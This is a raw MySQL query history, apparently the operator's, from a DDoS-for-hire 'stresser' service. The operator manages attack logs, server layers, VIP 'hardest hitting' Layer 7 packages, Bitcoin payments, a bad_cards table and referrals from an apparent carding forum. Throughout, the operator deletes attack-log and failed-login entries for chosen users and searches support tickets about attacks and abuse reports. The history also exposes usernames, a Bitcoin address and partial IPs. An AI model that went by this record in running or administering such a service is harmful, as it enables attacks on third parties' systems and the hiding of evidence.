update `servers` set `layer` = 4 where `id` = 240;
update `servers` set `layer` = 4 where `id` = 241;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ AND `username` like ‘%lior%’ order by ID DESC limit 50;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
DELETE from `logs` where `Username` = ‘DannyHD’ AND `Action` like ‘%failed%’;
select count(*) from `logs` where `Action` = ‘%failed%’ and `username` = ‘niceday’;
select count(*) from `logs` where `Action` = ‘%failed%’ and `username` = ‘Niceday’;
select count(*) from `logs` where `Action` like ‘%failed%’ and `username` = ‘Niceday’;
DELETE from `logs` where `Username` = ‘DannyHD’ AND `Action` like ‘%failed%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `bad_cards`;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%triggered%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
ALTER TABLE `users` ADD `last_ref` VARCHAR(255) NOT NULL AFTER `disable_cc_check`;
ALTER TABLE `payments` ADD `ref` VARCHAR(255) NOT NULL AFTER `high_risk`;
select from `users` order by `last_ref` limit 20;
select from `users` order by `last_ref` desc limit 20;
select from `users` order by `last_ref` ask limit 20;
select from `users` order by `last_ref` asc limit 20;
describe `users`
;
select from `users` order by `last_ref` asc;
select * from `users` order by `last_ref` asc limit 5;
select * from `users` order by `last_ref` desc limit 5;
select `username`,`last_ref` from `users` order by `last_ref` desc limit 5;
select `ref` from `payments` order by id desc limit 5;
select * from `payments` order by id desc limit 5;
select `username`,`last_ref` from `users` order by `last_ref` desc limit 5;
select `username`,`last_ref` from `users` order by `last_ref` desc limit 10;
select `username`,`last_ref` from `users` order by `last_ref` desc limit 20;
select `username`,`last_ref` from `users` order by `last_ref` desc limit 10;
select `username`,`last_ref` from `users` order by `last_ref` asc limit 10;
select `username`,`last_ref` from `users` order by `last_ref` desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` is not null;
select `username`,`last_ref` from `users` where `last_ref` is not empty;
select `username`,`last_ref` from `users` where `last_ref` != “”;
select `username`,`last_ref` from `users` where `last_ref` != “” order by `id` desc;
select sum(amount) from `payments` where refunded = 0 and `date` like ‘%03/16%’;
select sum(amount) from `payments` where refunded = 0 and `date` like ‘%03/2016%’;
select sum(amount) from `payments` where refunded = 0 and `Date` like ‘%03/2016%’;
select sum(amount) from `payments` where refunded = 0 and `Date` like ‘%03-2016%’;
select sum(amount) from `payments` where refunded = 0 and `Date` like ‘%03-2016%’ OR `Date` like ‘%02-2016%’
;
select `username`,`last_ref` from `users` where `last_ref` != “” order by `id` desc;
select `ref` from `payments` order by id desc limit 5;
select `ref` from `payments` order by id desc limit 10;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “” order by `id` desc;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” order by `id` desc;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `ref` from `payments` order by id desc limit 30;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select * from `payments` order by id desc limit 10;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 10;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `ref` from `payments` order by id desc limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `ref` from `payments` order by id desc limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `ref` from `payments` order by id desc limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 40;
select `ref` from `payments` order by id desc limit 100;
select `ref` from `payments` order by id desc limit 10;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `ref` from `payments` order by id desc limit 10;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `ref` from `payments` order by id desc limit 10;
select `ref` from `payments` order by id desc limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` order by id desc limit 20;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `ref` from `payments` where `ref` != “Direct” AND `ref` != ” order by id desc limit 200;
select * from `tickets` where id = ‘51786’;
select `username` from `tickets` where id = ‘51786’;
select `username` from `tickets` where id = ‘51785’;
select `ref` from `payments` where `ref` != “Direct” AND `ref` != ” order by id desc limit 200;
select `ref` from `payments` order by id desc limit 20;
describe payments
;
ALTER TABLE `payments` ADD `type` INT(1) NOT NULL AFTER `ref`, ADD `timestamp` INT(14) NOT NULL AFTER `type`;
select * from `tickets` order by `id` asc limit 5
;
select * from `tickets` order by `id` desc limit 5;
select * from `payments` order by `ID` desc limit 5;
describe oayments;
describe payments;
INSERT INTO `payments` VALUES (‘376062′,’2 Months VIP’,’1GqZ5uAjyNFTcWUBrCsufjdvFJ4ATEgWEV’,”,’299.99′,’27-03-2016 08:08′,”,”,’Pitekali’,”,”,0,0,’direct’,0,1459080598);
update `payments` SET ‘ref’ = ‘Direct’ WHERE `ID` = 69437;
update `payments` SET `ref` = ‘Direct’ WHERE `ID` = 69437;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
delete from `logs` where username = ‘Leom305’ AND `Action` LIKE ‘%failed%’
;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `users` where `expire` = ‘lifetime’ and `status` = ‘Active’;
describe logs
;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%youtube%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%youtube.com%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%youtube.com%’ INTO OUTFILE ‘/tmp/unknown.txt’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%watch?v=%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%watch?v=%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
DATABASE CREATE ustress
;
create database ustress;
select * from `loginattemps`
;
delete from `loginattemps` where id = 619256;
select * from `payments` order by `ID` desc limit 5;
select * from `payments` order by `ID` desc limit 10;
select * from `payments` order by `ID` desc limit 20;
select * from `payments` order by `ID` desc limit 30;
select * from `payments` where `username` = ‘zabooter’ order by `ID` desc limit 30;
select * from `payments` where `username` = ‘GokuGoku1’ order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
dsta
;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc;
select `username`,`last_ref` from `users` where `last_ref` != “Direct” AND `last_ref` != ” order by `id` desc LIMIT 10;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(id) `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%04-04-2016%’ order by ID DESC limit 20;
select count(ID) `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%04-04-2016%’ order by ID DESC limit 20;
select count(`ID`) `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%04-04-2016%’ order by ID DESC limit 20;
select count(`ID`) `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%04-04-2016%’ order by ID DESC;
select count(*) `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%04-04-2016%’ order by ID DESC;
select count(*) from `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%04-04-2016%’ order by ID DESC;
select count(*) from `logs` where `Action` like ‘%failed%’ AND `Date` like ‘%03-04-2016%’ order by ID DESC;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%altenen.org%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%altenen.org%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%altenen.org%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%altenen.org%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%Maria Hernandez%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(ID) from `logs` where `Action` like ‘%altenen.org%’ order by ID DESC limit 20;
select count(ID) from `logs` where `Action` like ‘%altenen.org%’;
select count(*) from `logs` where `Action` like ‘%altenen.org%’;
select count(ID) from `logs` where `Action` like ‘%altenen.org%’;
select * from `coupons`
;
insert into `coupons` values (10,’83144692′,null);
select * from `coupons`
;
select count(ID) from `logs` where `Action` like ‘%altenen.org%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%1322_476248%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%1322_476248%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 60;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%1434_420767%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%1214_414709%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by `ID` desc limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select * from `payments` order by `ID` desc limit 30;
DELETE from `logs` WHERE `Username` = ‘vtzt2000′ AND Action =’%failed%’
;
DELETE from `logs` WHERE `Username` = ‘vtzt2000’ AND Action LIKE ‘%failed%’;
select count(*) from `attacklogs`;
delete from `loginattemps` where `username` = ‘John’;
select * from `payments` order by `ID` desc limit 30;
describe users;
delete from `tickets` where ticketid = ‘51824’;
delete from `tickets` where ID = ‘51824’;
select count(ID) from `logs` where `Action` like ‘%altenen.org%’;
describe packages;
describe plans;
describe packs
;
ALTER TABLE `packs` CHANGE `description` `description` VARCHAR(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL;
SET UPDATE `description` = Our hardest hitting subscription. This subscription comes with Layer 7 methods and access to our dedicated (VIP) nodes.
;
SET UPDATE `description` = ‘Our hardest hitting subscription. This subscription comes with Layer 7 methods and access to our dedicated (VIP) nodes.’ WHERE `vip` = 1;
UPDATE SET `description` = ‘Our hardest hitting subscription. This subscription comes with Layer 7 methods and access to our dedicated (VIP) nodes.’ WHERE `vip` = 1;
UPDATE SET description = ‘Our hardest hitting subscription. This subscription comes with Layer 7 methods and access to our dedicated (VIP) nodes.’ WHERE `vip` = 1;
UPDATE `packs` SET description = ‘Our hardest hitting subscription. This subscription comes with Layer 7 methods and access to our dedicated (VIP) nodes.’ WHERE `vip` = 1;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%proxy%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%if so%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%different cards%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ AND `username` = ‘Cakeylsx’ order by ID DESC limit 50;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%190.0.163%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%190.0%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ AND `username` = ‘Cakeylsx’ order by ID DESC limit 50;
select * from `payments` order by `ID` desc limit 30;
select last_ref from `payments` order by `ID` desc limit 30;
describe payments;
select ref from `payments` order by `ID` desc limit 30;
delete from `loginattemps` where `username` = ‘John’;
select * from logs where `username` = ‘Aakash’ AND `action` like ‘%Launched%’;
describe attacklogs;
select * from logs where `userid` = ‘15563’;
select * from attacklogs where `userid` = ‘15563’;
select * from attacklogs where `userid` = ‘15563’ and `country` = ‘GB’;
select target,date,country from attacklogs where `userid` = ‘15563’ and `country` = ‘GB’;
select sum(amount) from `payments`;
describe mailsbox;
describe mailbox;
SELECT \M-V\M-8 * FROM `mailbox` where `toid` = ‘14054’;\012
SELECT \M-V\M-8* FROM `mailbox` where `toid` = ‘14054’;\012
SELECT \M-V\M-8* FROM `mailbox` WHERE `toid` = 14054;\012
SELECT \M-V\M-8* FROM `mailbox` WHERE `toid` = 14054\012

;
SELECT \M-V\M-8* FROM `mailbox` WHERE `toid` = 14054;\012
SELECT \M-V\M-8* FROM `mailbox` WHERE `toid` = 14054\012
;
SELECT \M-V\M-8* FROM `mailbox` WHERE `toid` = 14054;\012
SELECT \M-V\M-8* FROM ‘mailbox` WHERE `toid` = 14054;\012
;
SELECT \M-V\M-8* FROM `mailbox` WHERE `toid` = 14054;\012
SELECT * FROM mailbox WHERE toid = 14054;
DELETE FROM mailbox WHERE toid = 14054;
DELETE FROM mailbox WHERE toid = 85801;
describe attacklogs;
select count(*) from `attacklogs` where `target` LIKE ‘%http%’ AND date LIKE ‘%21-04-2016’;
select count(*) from `attacklogs` where `target` LIKE ‘%http%’ AND date LIKE ‘%21-04-2016%’;
select count(*) from `attacklogs` where `target` LIKE ‘%http%’ AND date LIKE ’21-04-2016%’;
select count(*) from `attacklogs` where `target` LIKE ‘http%’ AND date LIKE ’21-04-2016%’;
DELETE FROM `attacklogs` WHERE `userid` = ‘85801’;
describe logs;
delete from logs where `Action` LIKE ‘%stress test%’ AND `Username` = ‘Unknown’
;
describe logs;
SELECT `Username`,`Action`,`IP`,`Date` from `logs` where `Username` = ‘D3f3c70r’ INTO OUTFILE ‘/tmp/unknown.txt’;
SELECT `Username`,`Action`,`IP`,`Date` from `logs` where `Username` = ‘D3f3c70r’ ORDER by `ID` ASC INTO OUTFILE ‘/tmp/unknown.txt’;
describe logs;
SELECT `Username`,`Action`,`IP`,`Date` from `logs` where `Username` = ‘D3f3c70r’ ORDER BY `ID` DESC;
SELECT `Username`,`Action`,`IP`,`Date` from `logs` where `Username` = ‘D3f3c70r’ ORDER by `ID` ASC INTO OUTFILE ‘/tmp/unknown2.txt’;
SELECT * FROM `users` WHERE `username` = “Unknown”;
SELECT `text` from `replys` where `text` like ‘%It appears you’ve%’;
SELECT `text` from `replys` where `text` like ‘%It appears you%’;
SELECT `text` from `replys` where `text` like ‘%can not be refunded%’;
SELECT `text` from `replys` where `text` like ‘%be refunded%’;
SELECT `text` from `replys` where `text` like ‘%crypto%’;
SELECT `text` from `replys` where `text` like ‘%refund cryptocurrency payments%’;
SELECT `text` from `replys` where `text` like ‘%cryptocurrency payments%’;
SELECT `text` from `replys` where `text` like ‘%understand your question%’;
SELECT `text` from `replys` where `text` like ‘%in order to purchase%’;
SELECT `text` from `replys` where `text` like ‘%was not able to%’;
SELECT `text` from `replys` where `text` like ‘%host you provided%’;
SELECT `text` from `replys` where `text` like ‘%you chose what%’;
SELECT `text` from `replys` where `text` like ‘%you choose the prot%’;
SELECT `text` from `replys` where `text` like ‘%choose the prot%’;
SELECT `text` from `replys` where `text` like ‘%choose the port%’;
SELECT `text` from `replys` where `text` like ‘%the port%’;
SELECT `text` from `replys` where `text` like ‘%Do you have any more questio%’;
SELECT `text` from `replys` where `text` like ‘%refund%’;
SELECT `text` from `replys` where `text` like ‘%please refer to%’;
SELECT `text` from `replys` where `text` like ‘%Bitcoin or credit%’;
SELECT `text` from `replys` where `text` like ‘%emailed you%’;
SELECT `text` from `replys` where `text` like ‘%please check your email%’;
SELECT `text` from `replys` where `text` like ‘%check your email%’;
SELECT `text` from `replys` where `text` like ‘%doing our best%’;
SELECT `text` from `replys` where `text` like ‘%Enjoy the rest of your day,%’;
SELECT `text` from `replys` where `text` like ‘%Enjoy the rest of your day%’;
SELECT `text` from `replys` where `text` like ‘%own this%’;
SELECT `text` from `replys` where `text` like ‘% own this%’;
SELECT `text` from `replys` where `text` like ‘% own the%’;
SELECT `text` from `replys` where `text` like ‘% fair limit%’;
SELECT `text` from `replys` where `text` like ‘% fair%’;
SELECT `text` from `replys` where `text` like ‘% is a fair%’;
SELECT `text` from `replys` where `text` like ‘%is a fair%’;
SELECT `text` from `replys` where `text` like ‘%40 hosts%’;
SELECT `text` from `replys` where `text` like ‘%lift the%’;
SELECT `text` from `replys` where `text` like ‘%correct IP%’;
SELECT `text` from `replys` where `text` like ‘%free trial%’;
SELECT `text` from `replys` where `text` like ‘%free trial if%’;
SELECT `text` from `replys` where `text` like ‘%a free trial%’;
SELECT `text` from `replys` where `text` like ‘%24h trial%’;
SELECT `text` from `replys` where `text` like ‘%one day trial%’;
SELECT `text` from `replys` where `text` like ‘%1 day trial%’;
SELECT `text` from `replys` where `text` like ‘%i have given%’;
SELECT `text` from `replys` where `text` like ‘%i have given%’ and like ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%i have given%’ and  ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%i have given%’ and ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%given%’ and ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%enjoy%’ and ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%i have given%’ and like ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%i have given%’ and `text` like ‘%trial%’;
SELECT `text` from `replys` where `text` like ‘%please wait%’;
SELECT `text` from `replys` where `text` like ‘%you simply%’;
SELECT `text` from `replys` where `text` like ‘%the port you wish%’;
SELECT `text` from `replys` where `text` like ‘%have to upgrade your%’;
SELECT `text` from `replys` where `text` like ‘%to upgrade your%’;
SELECT `text` from `replys` where `text` like ‘%is automatic%’;
SELECT `text` from `replys` where `text` like ‘%coupon%’;
SELECT `text` from `replys` where `text` like ‘%the method%’;
SELECT `text` from `replys` where `text` like ‘%most effective%’;
SELECT `text` from `replys` where `text` like ‘%VPN%’;
SELECT `text` from `replys` where `text` like ‘%teamspeak%’;
SELECT `text` from `replys` where `text` like ‘%ts3%’;
SELECT `text` from `replys` where `text` like ‘%provide me with the%’;
SELECT `text` from `replys` where `text` like ‘%taking down%’;
SELECT `text` from `replys` where `text` like ‘%having troubles%’;
SELECT `text` from `replys` where `text` like ‘%the ip%’;
SELECT `text` from `replys` where `text` like ‘%trying to%’;
SELECT `text` from `replys` where `text` like ‘%depends on the%’;
clear
SELECT `text` from `replys` where `text` like ‘%up to%’;
SELECT `text` from `replys` where `text` like ‘%using bitcoin or%’;
SELECT `text` from `replys` where `text` like ‘%safe%’;
SELECT `text` from `replys` where `text` like ‘%SSL%’;
SELECT `text` from `replys` where `text` like ‘%why were you attacking%’;
SELECT `text` from `replys` where `text` like ‘%were you attacking%’;
SELECT `text` from `replys` where `text` like ‘%why were you %’;
SELECT `text` from `replys` where `text` like ‘%proof of %’;
SELECT `text` from `replys` where `text` like ‘%own this %’;
SELECT `text` from `replys` where `text` like ‘% own this %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% own this %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% own the %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% would you mind explaining %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% abuse reports %’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% abuse report %’;
